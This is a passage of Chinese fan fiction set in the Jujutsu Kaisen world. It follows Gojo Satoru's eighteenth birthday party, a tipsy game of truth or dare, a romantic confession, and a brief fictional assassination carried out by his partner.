羽取一真问出那个想要审问五条悟的人叫加茂成之后,便想要挂断电话,被禅院直哉紧急叫住。 “你能不能缓两天再动手?” 他尽力忍住话语里的抱怨,让这句建议用一种更平和的口吻,用那种不会激怒眠龙的语气……好吧,就是卑微的劝谏道。 “不然,他们肯定要知道内部有卧底的。” 哪有这边会议刚结束,那边人就嗝屁的?想要利用他也就算了,能不能让他这边暴露的风险小一点啊…! 短短几句话来回,禅院直哉对羽取一真的底线已经一降再降,能顺利等到继任禅院家主都要谢天谢地的程度。 “…………” 电话另一头的羽取一真有点沉默,令禅院直哉的心瞬间提起。 这个恶魔,最不会听别人意见了! “——好吧。” 哪怕羽取一真屈尊纡贵似的答应了这个请求,禅院直哉的心情也顿时好转——甚至大松了口气,这才放心挂断电话。 不过,他拿[提供情报的也是同谋]来威胁自己的这招还挺好用的,等回头就有样学样,去威胁那位给他提供情报的长老。 反正听对方这架势,他也不可能只干这一次两次活了。 唉,还有[束缚]在身…… 禅院直哉垮下肩膀,慢吞吞朝自己的房间里走去。 明明还没成年,如今却感觉年龄已三十有余。 ………… 盘星教。 羽取一真答应拖延动手,倒也不全是为禅院直哉的间谍身份着想。 他确实有另一样更重要的事情,比赶着去暗杀高层更重要。 悟的生日,快到了。 这次,津地智也特意打电话来联系他,问羽取一真有没有给五条悟办一个生日惊喜会的打算。 虽然五条悟和羽取一真不会继续活跃在娱乐圈,但并不妨碍他们已经成为好友。 “润子啊,加奈啊,美和啊,熟人肯定都会来啦,”津地智也笑道,“这次就不是演唱会了,我们私底下一起庆祝。” “之前看美和给你们的采访,悟说他之前的生日都很没劲——哈哈哈,这次来给他准备城堡蹦床、会唱歌的仙女教母和能扭出狗狗气球的小丑怎么样?” “……”羽取一真听得黑瞳都震颤片刻,“这是给五岁小孩过的吧?” “当然啦,我们也会准备大人果汁,偷偷喝一些啦,没什么问题的。” 津地智也压低声音,带着些许得意的坏笑——仿佛他们正打算带小孩第一次干点无伤大雅的坏事。 “大家都觉得这安排没什么问题,来拜托你帮忙探探口风,看主角喜不喜欢。” “——这件事就拜托你啦,我们的小英雄!” 羽取一真听着已经被挂断的通话,有点哭笑不得。 能说出准备城堡蹦床、仙女教母和气球小丑来,这些人根本就是在把悟当小孩宠啊。 ……不过,他们的年龄确实都比他和悟大至少十岁,拿他们当晚辈看待也不稀奇。 羽取一真盯着手机屏幕,正在思考要发邮件还是打电话时,悟恰好打了过来。 “我听说了,狗狗座。” 对方的声音超级低,似乎生怕被谁听见。 而且,还管大犬座叫狗狗座……羽取一真没忍住漏出一点笑声,被耳朵灵敏的五条悟抓个正着。 “果然是你干的啊,我一看那标识就猜出来了。” 五条悟轻哼出声,“某人还真是嚣张哦,上层都被吓成热锅蚂蚁了,夜蛾校长说本来要给我任务都转给其他人了,让我这几天就待在东京,哪儿也别去。” 羽取一真的嘴角微微上翘,笑得更高兴了点。 他想了想,决定正好趁此机会向悟打听喜好。 五条悟这边正要接着给羽取一真叮嘱:“我和你说,你之后千万小心点……” 羽取一真:“你喜欢城堡蹦床、会唱歌的仙女教母和能扭狗狗气球的小丑吗?” 五条悟:“………” 五条悟:“嗯?你问我什么???” 第157章 羽取一真听见五条悟这么问, 又认真复述了一遍。 五条悟握着手机,心里那股正在为他安危而担忧的紧张感,顿时变得有点不上不下的。 就像仙女教母正举着她那根魔法棒, 扇着翅膀在他头顶来回转圈——还在不停往下抖那些亮晶晶的闪粉。 不仅危机全无, 耳边甚至开始响起公主音乐。 说要紧事的关头呢,干嘛问他喜不喜欢这些小孩玩意啦! 五条悟哑然许久,才狐疑开口问自家恋人:“你不会要给我准备这些……” 说到这里,超级机灵小悟忽然想起再过几天就是12月7日,话语顺势一转,“过生日吧——?” 相比想要表达[你小子准备做啥呢]的前半句, 最后几个字的语气明显迅速上扬,吐字时漏出的笑意更是止也止不住。 大概, 就连津地智也也没想到羽取一真在面对五条悟时, 会表现得如此诚实。 “嗯, ”羽取一真坦白道, “智也大叔他们想给你过生日庆祝会,问你喜不喜欢这些准备。” 五条悟拖着长长长长的语调, 既软又开心,却还要努力假装正儿八经的“噢——”了一声。 这反应实在太可爱了,羽取一真又有点没忍住笑。 “那我就和他们说你喜欢了。” 他轻咳一声,开口说道。 一听这话, 五条悟顿时眉梢一扬, 连带声音都跟着大了些:“等下,我还没说自己喜欢呢, 你们不要把我当小孩来哄——这可是我的18岁生日呢!” 但他的语气又相当开心,完全听不出半点不乐意。 非要形容的话……莫非是,在傲娇? 没忍住一直在笑的羽取一真沉思片刻, 从善如流再次向可爱小悟确认。 “不喜欢吗?” 他很努力想要将这句话问得诚恳,但满含笑意的口吻让它更接近一种亲昵的揶揄。 尤其是这种问法,堪称傲娇大杀器! 五条悟:“………” 五条悟:“喜欢啦,喜欢!真是的,这下真是被你拿捏住啦。” 口中好似抱怨般说着“真是的”,自舌尖送出的每个音节却与羽取一真同样,半点也没有责怪的成分。 比起往年在五条家度过的无聊生日宴会,他自然更愿意跟城堡蹦床、仙女教母和气球小丑待在一起……他以前只在电视上见过呢,肯定超有趣! 更何况,这场生日会是他们特意为他准备的。 他也交到许多与咒术界无关联的朋友了。 哪怕,这些人还把他当小孩对待…… 羽取一真:“啊,智也大叔说他们还会准备大人果汁。” 五条悟:“好耶!” 是他从来没有尝过味道的大人果汁! 五条悟笑哼哼的挂掉电话,从刮着冷风的室外溜溜达达回来时,家入硝子还在来回翻那份她之前交上去的解剖报告。 “怎么了,还是没找到原因?” “是啊,我在猪肉上用各种钝器模拟了好多次,还是无法确认这伤口到底是受什么东西击打造成的。” 对着这几张局部放大的照片,真是越看越迷茫。 家入硝子下意识要从口袋里摸出一根烟,又想起这里是教室,便姑且忍住了那颗蠢蠢欲动想要吸烟的心。 他们明年三月就要毕业了,又马上要放新年假,如今的绝大多数课程都被自由活动与任务取代。 但这两天的天气太冷,家入硝子不想出门,又懒得待宿舍里,索性就来教室里边晒太阳,边翻之前的解剖报告。 之前按高层要求交上去了一份总结,她自己则保留了原档。 她是真的想不通,到底什么武器能打出这种效果。 正好原本要出差的五条悟被紧急取消任务回来,她还想着对方的战斗经验丰富,说不准有头绪呢。 结果他拿来解剖报告翻了几页,就出门去打了半天电话。 “你有头绪了吗?”家入硝子问他。 多少猜到一二的五条悟努力压平嘴角,假装自己也不清楚。 “不知道哦。” 他背起双手再身后,但高兴的情绪怎么也止不住——就像盛夏的冰镇草莓波子汽水,细碎气泡在阳光下咕噜噜的不停往上冒。 这副表情实在太过明显,令家入硝子虚起眼睛看他:“………刚才是在给那位打电话?” 她朝五条悟竖起代表恋人的小拇指。 五条悟眨巴眨巴两下苍瞳,无辜看着家入硝子。 可惜有那副圆镜片的漆黑墨镜遮挡,对方什么也看不见,反而变成了默认。 “——唉,亏我还在努力想线索。” 家入硝子默默将手里这份报告收起,对折,放一边,假装不存在。 五条悟都快被她这举动给乐得不行,“不继续找钝器了吗?” “不了,反正上面也只是让我尽力而已。” 家入硝子撑着脑袋开始专心晒太阳,姿态懒散——连语气也透不出半分干劲,浑身散发出一股忙里偷闲的倦怠感。 “现在我的力已经尽完了,要开始尽情享受闲暇时光。” 她在人生上并没有什么非要达成不可的目标,对五条悟那改革咒术界的理想也没有多少兴趣。 但作为一同度过高专三年的朋友,她并不介意在力所能及的事情上,稍微偏向熟人一点。 五条悟笑了起来,“谢啦,硝子。”——他说,“改天请你喝酒哦。” 听到这句话,家入硝子的耳朵微微一动。 “你竟然会请我喝酒,”她惊奇转过目光,“之前还乖乖遵守规矩呢?” 家入硝子早在去年就和庵歌姬他们一起喝过酒了——哪怕当时她还没到法定允许喝酒的年龄。 不过,反正连烟都习惯性抽起来了,喝两杯酒也不算什么。 但五条悟更偏好在休息时吃各种甜食,反而对烟与酒都没有任何兴趣。 现在,对方竟然会主动和她说要请喝酒。 家入硝子感觉有点不可思议,“你大概能喝多少?” 她以为五条悟已经自己偷偷尝试过喝酒了。 “欸——不知道!” 五条悟这句话答得干脆利落,在家入硝子对着他露出无奈眼神前,又转而笑眯眯补充道。 “反正等我生日那天就能尝到酒的味道了,提前约好请客也没什么关系嘛。就这样说定了,拜——” 目送五条悟心情超级好的离开教室,家入硝子沉默了下。 生日也是18岁吧……还没到法律规定允许喝酒的20岁呢。 哎,也没关系,她本来就觉得身为最强术师的五条会乖乖遵守很多规矩这点,已经是足够令人惊讶了。 家入硝子换了个姿势晒太阳,边迷迷糊糊想道。 看那家伙一口气扫荡超多甜食的迅猛架势,酒量应该也不差吧。 ……… 当12月7日的零点到来时,羽取一真的邮件如约而至。 [生日快乐,悟。] 在五条悟坚持不懈的颜表情轰炸下,原本只会写文字的羽取一真也被带歪了,在后面加上一个五条悟常发给他的超可爱笑脸。 老实说,用羽取一真自己的脸,也未必能笑出这么个阳光灿烂的爽朗表情出来。 五条悟捧着手机,光是脑补一下这画面,都能给他乐得在床上来回打滚。 [收到了哦——] 他也回出一个在冲对方眨单眼wink的颜表情,躲在被窝里偷偷笑得开心。 实际上,在零点尚未到达之前,他就已经格外期待这封邮件了。 ——期待,却并不忐忑,只因五条悟知道它一定会来。 这份期待就像在奶油蛋糕上撒了一把甜甜的巧克力彩针糖,而邮件则是在这份蛋糕上又撒了满满一大把。 简而言之,快乐加倍! 五条悟抱着黑豆柴玩偶又翻了个身,手机正好再度振动一次。 [大约八点,到这个地址。] [好——] 在今天之前,五条悟从来没想过自己的生日会被五颜六色的气球、飘带与彩屑包围。 记忆里那位总是端坐于主位之上,表情淡漠接受一板一眼恭贺的幼童身影,似乎逐渐如晨雾般模糊、淡去。 取而代之的,是一进门就用数声拉响的礼炮来欢迎他的抵达,齐声喊出“悟,生日快乐!”的热闹与欢腾。 他们竟然真的有邀请漂亮的仙女教母和穿得圆滚滚的笑脸小丑,而且搭起来的城堡蹦床超大。 五条悟缓慢闭了下苍瞳,又再度睁开。 他的内心被某种特别的情绪充盈着,宛若用掌心捧起了一簇温暖又明亮的跃动火焰。 原来,即使成为了咒术界的最强,他也并不会觉得寂寞。 很喜欢大家,所以一点也不寂寞。 “哇,没想到你们都有空,智也大叔、润子姐姐、美和姐姐、加奈……咦,小杏理?” 五条悟笑着挨个望过去,最后却惊讶看向半个身子缩在津地智也身后的少女——被念出名字的对方似乎显得有些内敛而害羞,但手里同样拿着已拉开的庆祝礼炮。 但听到五条悟能一口念出她的名字,佐木杏理有点开心,抿起嘴不好意思笑了下。 “我都听主持人说了,无论给我姐姐的赔偿,还是让给我时尚杂志资源。” 佐木杏理朝五条悟认真鞠了一躬,脑袋压得很低。 “真的,很感谢你对我和姐姐的帮助。” “算是惊喜之一哦?”津地智也轻拍了拍佐木杏理的肩膀,对怔愣的五条悟笑道。 “本来她的姐姐花衣也想过来一起道谢,但她面部的整容修复手术还没有做完,担心吓到你。” “怎么会啦。”五条悟嘟囔道。 “哈哈哈,看吧,我就说他不会嫌弃啦!” 没想到,津地智也当即朗声喊了一句——而在话音落下后,从大厅边上的一个房间内,走出一位身材十分窈窕的年轻女性。 “真的很谢谢你,五条先生。” 她戴着挡住大半张脸的口罩,声音非常好听。 如果没有五条悟当时威胁主持人后续必须要给予她们的补偿与帮助,这对姐妹未必能撑得过来。 “花衣和杏理之前就已经找到我了,但我想着你们这边太忙,就一直没打扰你,”津地智也冲他挤挤眼,“正好等到生日这天,我们也一起来给你庆祝。” 五条悟也没想到自己当时的举手之劳,竟然被佐木杏理和她的姐姐惦记了这么久。 还有之前得救的荒生润子与矢野加奈,也一直在用自己的方式表达感激。 那双总是显得灵动而意气风发的苍瞳,此刻好似朦上了浅淡的柔和雾气,在这些人的笑脸上逐一的、认真的望过去,直至最后,与羽取一真的黑瞳撞在一处。 对方也朝他露出一个微笑,好似在问—— 还喜欢这个安排吗,悟? 五条悟连半刻也憋不到,便忍不住笑了起来。 无论是去年高声呼喊他名字的演唱会观众,抑或在论坛里用各种方式表达对他喜爱的粉丝,还是此刻站在他面前的好友与恋人。 “好喜欢大家。” 他说。 第158章 在这场为他专门举办的生日派对上, 五条悟玩得超级开心。 他戴上纸制的生日王冠,被所有人围着唱生日祝福歌、许愿、吹灭蜡烛——整套流程都是以前的他从来没有体验过的。 五条悟也一丝不苟地照做,这副格外认真的架势, 比平时对付特级咒灵还要郑重无比。 荒生润子他们好像也在此刻变成了小朋友, 陪着五条悟整整齐齐坐在准备好的小板凳上,被气球小丑的各种把戏逗得乐不可支。 他们每人都分到了扭出各种花样的气球,小马、小蝴蝶、小狗狗、小猫咪、小乌龟……就好像没有那位小丑做不出来的东西。 五条悟能用[苍]将这栋建筑物掀飞,也可以用[赫]或[茈]轻松将这里夷为平地。 他能做到这里所有人都做不到的事情,比任何人的力量都要强大。 但此时此刻,五条悟依旧会为小丑在扭气球小动物上的灵巧与熟练而欢呼, 跟着大家一起鼓掌。 还有挥舞着亮闪闪仙女棒的教母,会笑眯眯唱着歌带他们做各种有趣的小游戏, 例如蒙眼贴鼻子——五条悟丝毫不夸张的说, 拥有[六眼]的他在这游戏上堪称无敌。 像普通人蒙住眼睛就会被遮挡视线啦, 但他的眼睛比较特殊, 就算正常的视野被遮挡,他也可以通过附着在物体上的咒力残秽来构建类似热感相机图像的画面, 轻松勾勒出详细的物体轮廓。 更何况,哪怕是其它类似山手线、双六、百人一首和翻花绳之类的游戏,他上手也超快的啦! 每个人都兴致勃勃参与着这些许久没有拾起的童年时光,在音乐、笑声与鼓掌中欢闹—— 时年快四十的津地智也被撺掇得不行, 还挽起袖子跑城堡蹦床上做了个前空翻, 险些闪到腰,又哎哟哎呦的下来了。 五条悟趴在羽取一真肩头, 快笑得不行。 当然啦,他们其实不会对输家有惩罚措施,津地智也纯属童心大发, 外加不信邪自己已经老了。 优胜奖励则是各种超可爱造型的水果奶油蛋糕、夹心糖果和大人果汁,好耶! “对了,我刚想起来,” 五条悟将糖果塞给羽取一真,自己啊呜一口将又香又甜的拇指小蛋糕整个送进口中,腮帮鼓鼓的问羽取一真,连含糊吐字间都浸透了奶油的香甜。 “硝子没来是因为高专那边得留一个人,和你一起待在盘星教的杰怎么没来?” “我有问过,”羽取一真想了下,“他说自己有点事不方便来,托我给你转达他的祝福。” 至于夏油杰具体有什么事情要处理,羽取一真丝毫不关心——可能是去处理信徒报上来的灵异事件,也可能是去招募诅咒师。 “有点事?什么事情非要现在做?” 五条悟小声嘀咕一句,也没有特别往心里去。 夏油杰能来他很高兴,不来也没什么关系。 毕竟大家都是快要成年的人啦,各自有自己的事要去忙也很正常。 五条悟吃完了第五块奶油小蛋糕,苍瞳滴溜溜一转,开始盯上旁边的大人果汁。 “我就喝一杯,尝尝看味道,”他小声和羽取一真咬耳朵,“反正不是我买的,这里也没人查年龄……” 这轮游戏结束,优胜者除了在任何事情上都一如既往全能的五条悟以外,还有意料之外的智也大叔。 “好好好,”眉开眼笑的津地智也直奔啤酒而去,“我终于能喝一杯了!” 荒生润子无奈笑着冲矢野加奈一耸肩,很遗憾她们差点点就能赢过对方,获得奖品。 “你确定要喝吗?” 羽取一真想了想,不知道该怎么和悟解释他已经在上周目就得知了对方完全不会喝酒的事实……记得是说他的术式功率输出会变得不稳定。 那假设此刻有他在,就算冒出咒灵威胁也不需要悟使用术式的话,喝两杯应该,也没有关系? 在羽取一真点头说“试试看你喜不喜欢”之前,那句不太确定的迟疑已经让五条悟的苍瞳危险一眯。 “小瞧我?” 五条悟格外不服气——他当然知道硝子早就和歌姬她们出去喝酒不知道多少回了,看上去酒量也大得很——但他就算之前没有喝过,在酒量上也不可能差太多吧! “没……” 羽取一真来不及阻止,就见到五条悟举杯豪迈一闷——将大约食指高的那么一杯啤酒,全部灌进肚子里。 ——啊。 羽取一真还没开口说话,津地智也先半惊叹半笑着的“哇哦”一声。 “喝得很爽快嘛!年轻人,就该有这种气势!” 这杯酒仿佛是一个信号,宣告游戏环节结束,大家开始随意品尝起由高级餐厅配送过来的自助餐,喝着普通的饮料或啤酒。 但光喝酒吃东西又有些无聊,荒生润子笑眯眯提议,连带邀请仙女教母与气球小丑也一起加入。 “来玩真心话大冒险怎么样?” “好啊!” 众人纷纷赞同——但等他们看向五条悟和羽取一真时,后者颇有点无奈的举起手。 “我这边大概不行,”羽取一真有点没忍住笑,“悟喝懵了。” 这消息太过震撼,令众人沉默片刻后,不由自主睁大眼。 “就那一杯?” “就那一杯。” 刚才还被智也大叔夸赞“喝酒很有气势!”的五条悟,此刻已处于一种很微妙的安静状态——仿佛机器因故障而突然报错,在芯片与接收器之间飞速传输的数据流骤然卡顿,中断,化作一行行闪烁着[error]的字符。 五条悟也是如此。 在那杯酒下肚的瞬间,他的味觉还没来得及向大脑传递“好苦”或者“好涩”的感想,平日敏捷的思维此刻却已卡了频,像一台信号不良的老式收音机。 他看上去呆呆的,好似大脑正在动用全部的力气去消化刚才喝进肚子里的酒,暂时没空分给外界。 哪怕羽取一真喊自家恋人的名字,也只能得到一声慢吞吞的“欸”。 实在是过分可爱了。 但仔细想想,无论悟做什么,他总是觉得很可爱,可爱得要命。 “要去休息吗?” 羽取一真笑起来,低声哄这位一杯酒就能放倒的醉猫。 ——但漂亮小悟可听不得这句话! 就好像某个关键词触发,那双正处于茫然中的苍瞳立刻挣扎着清醒一些。 “什么,我才喝这么一点,”五条悟板起脸,“怎么可能懵了呢?你不要胡说。” 他刚才只是有点呆住而已,绝对没有醉! 就算现在的大脑不受他控制,总是想要命令他闭上眼睛躺倒睡觉,他也绝不会屈服! “不就是游戏嘛,我要玩!” 那双苍瞳偏要和身体本能对着干,瞪得又圆又大,看起来格外精神。 这气势把羽取一真都唬住了,慢半拍才点头:“啊,好。” 五条悟:“嗯!” 还是五条悟:“什么游戏?” 羽取一真:“………咳。” 羽取一真想让这位醉了至少八成的悟休息,但奈何对方坚称自己没醉,非要用玩游戏来证明自己不可。 荒生润子与高汐美和他们,已经纷纷开始捂起嘴偷笑。 总是显得聪慧、早熟、能力强大且具备相当责任感的少年,忽然露出了如此孩子气的一面,让她们也觉得可爱极了。 “好好好,来玩来玩——” 荒生润子笑着招呼大家又围坐在一起玩真心话大冒险。 这种通常搭配扑克牌来玩,大家分别抽一张牌,抽到小鬼的输家需要选择真心话还是大冒险,具体内容则由抽到大鬼的人来决定。 比起玩游戏的技巧,更看重抽牌的运气。 刚开始几轮,羽取一真和五条悟都没抽中鬼牌,只看着酒杯又被其余人喝空好几次、抑或询问一些无伤大雅的小秘密——荒生润子还唱了首歌,好听到仿佛身处演唱会现场。 时间已经迈过下午,逐渐来到夜晚。 羽取一真知道五条悟很努力的想要证明自己没有醉,可他已经好几次看到对方的脑袋突然歪一下,又迅速坐直。 连带翘起的纯白毛毛也随之一抖,像被风陡然压低一截又抬起的蒲公英。 羽取一真又有点忍不住笑,却能被五条悟察觉到,当即气势十足的反盯回去,就像在说——怎么啦,我超精神的,刚才什么事情都没有发生! 但在另一方面,五条悟又格外坦诚。 他和羽取一真挨着坐,趁其他人视野被桌面遮挡,更靠近对方那侧的左手好似突然有了自己的想法,悄悄用两根手指散步到羽取一真的手旁边,再摸索着握住,扣紧。 羽取一真抿起嘴,感觉自己的心脏忽然跳得极快,大脑也随之点燃布满星空的绽放烟花。 他分明还没有来得及喝人生中的第一杯啤酒,却已充分体验到[酣醉]的滋味。 在羽取一真看过来时,五条悟还冲他坏坏笑了一下。 可惜这只醉猫此刻仍旧迷糊着,并没有如他所坚持的那般清醒,连带这个笑容也透着点晕乎乎的味道,怎么看都不像是坏笑。 但,五条悟是格外满足的。 他喜欢这种形式的生日派对,喜欢特意赶来为他庆祝的大家,喜欢总是用柔软目光看着他的一真。 仅是想到这些,就足以令五条悟开心笑起来,在新一轮开始的真心话大冒险中,伸出右手去抽牌。 “哎呀,是大鬼。”矢野加奈笑着拍手,“小鬼是哪位?” 羽取一真亮出自己抽到的小鬼。 这么多轮下来,他和悟都是要么一个人抽到大鬼,要么一个人抽到小鬼。 这还是第一次,大鬼和小鬼都被他们抽中。 “好巧好巧——” 其余人也为这罕见的几率鼓掌,“一真还是选择大冒险?” 羽取一真之前抽到小鬼牌时,选择的都是大冒险。 大家也不会真的刁难人,顶多去城堡蹦床上翻几个跟头,或者喝一口酒、唱首歌、用气球扭出小狗之类。 五条悟也同样——由于大家都能看出他现在醉得不行,连大冒险都没敢让他继续喝酒。 而现在换成由悟来指定他的大冒险内容,应该也是差不多的。 哪怕再过分一些,羽取一真也乐意配合。 他点头:“嗯,还是选大冒险。” 边这么应着,羽取一真边看向五条悟——对方的表情没有什么改变,以至于他拿不准悟眼下到底是不是依旧醉着厉害。 但拿着大鬼牌的五条悟看上去似乎在沉思,又好像什么也没想。 当那双极瑰丽的苍天之瞳自手中的扑克牌抬起,看向羽取一真时—— 他听见五条悟开口,声音清澈,带着柔软的、压低的笑意。 “——说你爱我。” 羽取一真的心跳,停了半拍。 第159章 爱是什么? 爱是冻结理智的冰, 爱是点燃欲望的火,爱是一切情绪与感性的混合体,爱是比喜欢更高的等级, 爱是…… 爱是全部。 羽取一真的手仍然与五条悟的紧握, 连指尖都开始发烫。 他确信对方同样如此。 他的大脑就好像被倒入了一大罐蜜糖味的阳光,无关紧要的信息情报被尽数晒干、过滤,仅留下那双望着他的漂亮苍瞳——像湛蓝碧空下一道涌起的海浪,猝不及防就扑进他的心底。 “我……” 思绪恍惚,羽取一真带着耳边擂鼓般的心跳声正要开口,话语却是一顿。 他默默转头, 对上这些炯炯有神盯着他们使劲瞧的八卦目光。 五条悟的声音不小,在场所有人都听见了他指定的大冒险内容——尤其荒生润子与高汐美和, 在此时此刻堪称容光焕发, 神采奕奕。 但羽取一真被这么多双饱含期待的眼睛围观, 只感到莫大的视线压力。 “哎呀, 派对结束啦,走咯走咯!” 见羽取一真似乎有点害羞, 秒懂的大家立刻笑嘻嘻起身宣布散场,转眼间便走得好似不见踪影。 ——实际上,都蹑手蹑脚的趴在门后偷听。 可惜,这招骗得过羽取一真, 骗不过拥有[六眼]的五条悟。 但他只是笑着收回目光, 也有点醉了似的斜撑着脑袋,那双望向羽取一真的漂亮蓝瞳里盛满了极耀眼的点点粼光, 仿佛有人挥手间撒落夜空里的一捧繁星。 五条悟并不会盲目索取爱,也从没有过分渴求爱。 他曾感觉自己在这世上活得畅快,但那时天地间仅倒映他孤寂一人, 强大力量所带来的自由感令人沉迷,却并非现实。 现实是,他想要成为教师,想要培养更多的同伴,想要改革咒术界,想要救助更多的生命。 现实是,在这条与现今咒术界背道而驰的道路上,他从最初开始便并非孤寂一人。 现实是……早在给出爱之前,他就知晓自己已得到了对方的爱。 五条悟微眯起那双似醉似醒的眼眸,在羽取一真郑重说出“我爱你”时—— 倾身吻了上去。 ……酒的香气,似乎也挺好闻嘛。 在彻底坠入那片漆黑的、温柔包裹着他的深海前,五条悟脑海里浮现出最后一个念头。 ………… 第二日。 家入硝子打着呵欠拉开推门,跨进教室,意外发现自己仅剩的同期已经提前到了。 而且看上去相当精神,坐姿笔直端正,墨镜倒是没有戴着,那双纯白睫羽眨动下的蓝瞳淡漠,是与平时截然不同的冰冷神情。 倘若说平时会欢快和她打招呼的五条属于[正常],那此刻在座位上的五条,就跟基因突变没什么区别。 “嗯?” 家入硝子揉了下眼睛,怀疑自己是昨天通宵太困而看花了眼。 ……没有错,还是冷淡版本的五条,连朝她这边看过来的眼神也宛如幽静湖底,望不见半分波澜。 有那么一个瞬间,家入硝子甚至以为自己是遇见了被世人高高举起供奉的淡漠神明,无悲无喜。 见鬼了! 家入硝子刚要惊呼,话语却在舌尖打了个转之后,猛然想到一种可能性。 “……一真?” [五条悟]微微点头,承认自己是用[八相轮卡]拟态出了这副样貌。 “好久不见。” 顶着五条悟外壳的羽取一真和她打招呼,“悟还在睡,我担心他今天翘课被夜蛾老师骂,就用来帮忙上课了。” ——在那间属于悟的宿舍床铺上,一只漂亮的纯白长毛猫正四仰八叉躺着,睡得格外香甜。 昨夜他们是在距离派对地点更近的盘星教度过的,由羽取一真在第二天早上将二人分别拟态成[五条悟]与白猫,将整个上午大概都不会醒来的悟送回高专。 家入硝子:“………” 不,她觉得就算是夜蛾老师来,也能一眼看出[五条悟]不对劲。 至于五条本人现在为什么还要睡,这个问题太过耐人寻味,她还是不要深究为好。 “我们已经不上理论课了,有任务就去做任务,没任务就自由活动。” 家入硝子拉开椅子,懒洋洋趴在桌面——又因为靠窗位置能享受到的阳光太好,她晒着有些犯困,便忍不住打起盹来。 “啊,不过五条明年毕业后想当教师来着,夜蛾老师好像给他加了一些关于教育的基础理论课。” [五条悟]:“几点,在哪?” 家入硝子:“嗯——不清楚。” 她毕业后百分之百是留在高专当医师的,自然不会记住五条悟的[教育理论课]会被安排在什么时间。 比起五条的课表,还是羽取一真版本的[五条悟]更让她稀奇。 “你摆出这模样真的很能唬人,”家入硝子想了想,“如果五条真的是这种性格,大概会有很多人怕他。” [五条悟]看了她一眼:“悟不是这种性格,就没有人怕他吗?” 想起那些人的态度,家入硝子沉默片刻。 “……比起怕,大概更多转变成其它情绪了吧,我想。”她说,“与主攻治疗的我不同,其余术师都是依靠力量来划分等级体系的吧?他们往往会更喜欢用力量来评判他人高低,却又很难带着正面的情绪。” “嗯,这也是当然的,毕竟咒力的来源就是负面能量。” 家入硝子的语气平淡,内容却显得异常犀利且尖锐。 这些是她平常不会对人提起的真实想法,但就像夏油杰会由于信任度超过80%而会更容易听从羽取一真的意见那般,对羽取一真拥有正好感度的人也会更有更高几率向他说出几句真心话。 而且,家入硝子说的没错。 在咒术界,即使悟表现得足够亲切与友善,依旧有人会强烈的排斥他,看他就像一根钉在肉里拔不出去的刺。 甚至,还有他的敌人始终潜伏在暗处,密谋着要给他致命一击。 羽取一真越想越气,越想越气,当即起身就要走——被家入硝子喊住,“这是要去哪?” “既然没有课,我先去忙点自己的事。” 羽取一真头也不回,硬是用五条悟的身体走出了大魔王的气势。 如同来时那样,他直接顶着五条悟的样貌顺利离开高专,买最快的新干线车票到京都,又切换拟态成为黑豆柴,一路杀向加茂家。 那个上次会议想要趁机刁难悟的加茂成之,他的死期到了! 找不到[教祖]在哪,他还找不到加茂成之在哪吗。 上周目是加茂家主的羽取一真对加茂家以及人员分布都了然于心,在贴着宅邸的墙根赶路时,还能保证自己不会被人看见。 加茂成之果然没有留在总监部,而是急匆匆赶回了加茂家宅邸。 他大概信任加茂家的结界多过总监部吧,但很可惜,加茂家的结界欢迎的也不只有他。 正生着气的羽取一真相当顺利就找到了加茂成之,并耐心等到了他独自落单—— 没有给对方呼救的机会,羽取一真起爪就是一记[黑闪]拍晕,再解除拟态,拔出[业双]补上致命一刀。 甚至不用确认名字,他上周目就见过这家伙了。 加茂成之倒在了木制地板上,也并不妨碍羽取一真用沾着血的刃尖,在尸体旁边深而重地刻下大犬座标记。 ——做完这一切,羽取一真又熟练切换回黑豆柴形态离开,跑了几步才忽然发现有哪里不对劲。 身后的加茂家宅邸实在太过平静,意味着还没人发现加茂成之已经被他杀死了。 可他刚才在宅邸内解除了黑豆柴拟态,结界似乎也毫无反应。 与他上次趁深夜前往小井户光家里不同,此刻是阳光高照的上午,羽取一真不相信守备队会睡着。 为什么没有触发结界的警报? 羽取一真有点想不明白。 但他毕竟是在玩游戏,对结界以及咒力之类的知识都仅有一个理论上的基础概念,再深入就是一头雾水的状态了。 因此,羽取一真也只能先将这个困惑记在心底,又按原路再度返回高专。 悟现在说不定已经醒了,他便特意绕路到对方常去的甜点店里打包了两块小蛋糕,又在隔壁的家庭餐馆点了两份之前大受对方好评的饺子。 来回花费五个多小时,但顶着五条悟拟态的他此刻心情明显好转许多,再见到家入硝子时还主动朝人点头,令被打招呼的后者格外迷茫。 还以为要忙很久……这么快就回来了,还变得挺开心? 她怎么也想不到羽取一真这趟暗杀之旅实在雷厉风行,总监部人员再度喜提-1。 东京高专依旧风平浪静,但刚发现加茂成之身亡的加茂家与总监部,已经陷入人仰马翻的恐慌状态。 天狼星!那个恐怖的天狼星杀手又出现了! 哪怕是御三家之一的加茂家也根本护不住他们的性命! 那个家伙到底想要什么? 下一个目标又会是谁?! ——这些被总监部紧急开会拉出来讨论的内容,全部跟此刻的羽取一真无关。 他只是拧动宿舍的门把手,推开,毫不意外被一只大白猫迎面扑过来,又软又蓬松的长毛将他的视线都全部挡住了,连半点路都看不见。 “喵——” 这只有着超漂亮蓝瞳的大白猫还要拖着又轻又甜的软绵绵腔调,质问某人去了哪里。 羽取一真先用一只手把自家超可爱的大猫猫托在怀里,拎着蛋糕和饺子的另一只手举起,向他展示。 猫咪的嗅觉格外灵敏,令瞬间就闻出是什么好东西的五条悟当即又是一声软绵绵的“咪嗷”,那双又大又圆的蓝瞳也眯了起来,拿脑袋去蹭羽取一真。 和总是不好意思变成黑豆柴给他玩的一真不同,他五条悟可是很懂得利用自身优势,非要让恋人被迷得晕乎乎不可—— 哼哼,实在是轻而易举啦。 猫咪拟态被解开,五条悟笑着亲了亲羽取一真,才将蛋糕和饺子都拆出来,放在桌上。 虽说在外人看来就是五条悟亲了五条悟,一副相当微妙的画面出现了。 “好耶,是最近刚上的新品柚子柠檬蛋糕和芒果布丁!还有我喜欢的Ina Bauer饺子!” 虽然一醒来发现自己躺在宿舍还没看见一真有点不爽,但见到对方是给自己买午饭和甜点去了,五条悟刚要鼓起的闷气早就立刻抛得干干净净,连蛋糕都高高兴兴切了一半和他分享。 羽取一真和五条悟就这么挤在这张并不宽敞的单人书桌上,被阳光下瓷猫猫与黑豆柴玩偶静静注视着,一起度过这段温馨的时光。 不过,吃到半途的五条悟还是用手指悄悄戳了一下他。 羽取一真刚咬了口饺子:“唔?” “猫的嗅觉很敏锐哦,”五条悟挑起单边眉梢,“我刚才有闻到一点点血腥味呢,你遇到了什么麻烦吗?” 遇到麻烦倒没有,主动找别人麻烦才是真的。 羽取一真咽下食物,将他去杀加茂成之的前因后果和五条悟讲了一遍。 